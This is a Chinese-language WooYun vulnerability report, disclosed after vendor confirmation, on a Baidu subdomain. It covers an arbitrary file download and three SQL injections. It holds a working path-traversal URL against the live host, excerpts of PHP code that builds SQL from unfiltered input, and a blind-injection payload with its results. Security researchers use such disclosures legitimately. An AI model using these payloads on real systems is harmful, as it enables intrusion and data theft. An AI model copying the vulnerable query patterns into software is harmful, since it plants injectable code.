当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0210710

漏洞标题:百度分站任意文件下载多处SQL注入漏洞

相关厂商:百度

漏洞作者: 李长歌

提交时间:2016-05-20 09:23

修复时间:2016-07-07 10:10

公开时间:2016-07-07 10:10

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-05-20: 细节已通知厂商并且等待厂商处理中
2016-05-23: 厂商已经确认,细节仅向厂商公开
2016-06-02: 细节向核心白帽子及相关领域专家公开
2016-06-12: 细节向普通白帽子公开
2016-06-22: 细节向实习白帽子公开
2016-07-07: 细节向公众公开

简要描述:

百度分站任意文件下载,三处SQL注入漏洞打包

详细说明:

今天无意间翻到一个网站:http://exp.baidu.com/?r=site/home
仔细一看怎么那么像之前提交的漏洞http://wooyun.org/bugs/wooyun-2016-0198361
中的网站http://tiyan.baidu.com

QQ截图20160519220308.jpg


试下之前的任意文件下载漏洞还是存在!
http://exp.baidu.com/static/img.php?s=16,40&n=....//....//index.php%00.png

QQ截图20160519221052.jpg


原来只是换了个域名而已,还是原来的系统一模一样。
通过下载文件信息发现了其中的多处SQL注入
注入一 混脸熟提交页面,判断用户名是否存在时未作任何处理。导致SQL注入
UserController.php

/**
* 混脸熟 - 提交
*/
public function actionProfileBaseSubmit() {
// 1.1 基础判断
if(!User::isValidProfileToken($_POST['profile_token'])) {
Yii::app()->user->setFlash('profile_base', '凭证失效,请刷新页面重试');
$this->redirect($this->createUrl('user/profile', array('page' => 'index')));
}
if(!$this->user) {
$this->redirect($this->createUrl('site/home'));
}
// 2.1 获取参数 - 保存
if(!StringUtils::isEmailFormat($_POST['User']['email'])) {
Yii::app()->user->setFlash('profile_base', '邮箱格式不符合,请检查修改之后再保存');
$this->redirect($this->createUrl('user/profile', array('page' => 'index')));
}
if($this->user->isExistUsername($_POST['User']['username'])) {
Yii::app()->user->setFlash('profile_base', '该昵称已被抢先注册,请换另外一个吧');
$this->redirect($this->createUrl('user/profile', array('page' => 'index')));
}
$_POST['User']['note'] = strip_tags($_POST['User']['note']);
// 3.1 添加勋章记录 user_info_step 用一个数组[1, 2, 3, 4, 5]
$this->user->updateMedalProcessUserInfoStep(User::USER_INFO_STEP_BASE);
# 已经验证的手机号不允许修改
if( (int)$this->user->mobile_authenticated == 2 ){
$_POST['User']['mobile']= $this->user->mobile;
}
$this->user->attributes = $_POST['User'];
if(!$this->user->save(false)) {
Yii::app()->user->setFlash('profile_base', '操作失败,请稍后尝试');
$this->redirect($this->createUrl('user/profile', array('page' => 'index')));
}
// 4.1 更新用户个人资料完成进度
$this->user->updateUserCompletion($this->user);


models/user.php

/**
* 判断是否存在该用户名
* @param $username
* @return bool
*/
public function isExistUsername($username) {
$count = $this->count("username = '{$username}' AND id != {$this->id}");
return $count > 0 ? true : false;
}


注入二 添加用户标签 tag_ids 参数未作过滤导致注入

/**
* 用户标签 - 添加 - 标签
*/
public function actionProfileSaveTag() {
// 1.1 更新用户资料完成进度
$this->user->updateUserCompletion($this->user);
$this->user->updateMedalProcessUserInfoStep(User::USER_INFO_STEP_TAGS);
$tagIds = trim($_POST['tag_ids']);
$arrTagIds = array_filter(explode(',', $tagIds));
$strTagIds = implode(',', $arrTagIds);
// 2.1
$this->user->tag_ids = $strTagIds;
if(!$this->user->save()) {
Yii::app()->user->setFlash('profile_tag', '保存标签失败');
}
// 3.1 更新用户个人资料完成进度
$this->user->updateUserCompletion($this->user);
$this->redirect($this->createUrl('user/profile', array('page' => 'tag')));
}


PlazaController.php页面的option 参数没有过滤 存在SQL注入

public function actionVoteSubmit() {
$voteId = intval($_POST['vote_id']);
$options = $_POST['option'];
if(!$options || count($options) == 0) {
$this->redirect($this->createUrl('plaza/viewVote', array('id' => $voteId)));
}
$vote = ActVote::model()->findByPk($voteId);
// 0.0 判断该用户是否参加过在投票
$hasVoted = ActVoteRecord::model()->hasVoted($this->user->id, $voteId);
if($hasVoted) {
$this->redirect($this->createUrl('plaza/viewVote', array('id' => $voteId)));
}
// 0.1 判断是否为多选并且该投票有限制多选的最多数量,如果超过,则截取前$vote->limit_num个
if($vote->type == ActVote::TYPE_MULTI && $vote->limit_num > 0) {
if(count($options) > $vote->limit_num) {
$options = array_slice($options, 0, $vote->limit_num);
}
}
// 1.1 选项选中数(selected_num) +1 & 投票的participate_num + 1
$strOptionIds = implode(',', $options);
$voteItem = new ActVoteItem();
$voteItem->updateCounters(array(
'selected_num' => 1
), "id in ({$strOptionIds})");

漏洞证明:

我这就测试下第一个注入

QQ截图20160519222450.jpg


admin' and LENGTH(USER()) < 25 and 1='1 用户名存在

QQ截图20160519222559.jpg


admin' and LENGTH(USER()) < 24 and 1='1 提交成功
LENGTH(USER()) == 24

修复方案:

修复

版权声明:转载请注明来源 李长歌@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:12

确认时间:2016-05-23 10:04

厂商回复:

感谢您关注百度安全!

最新状态:

暂无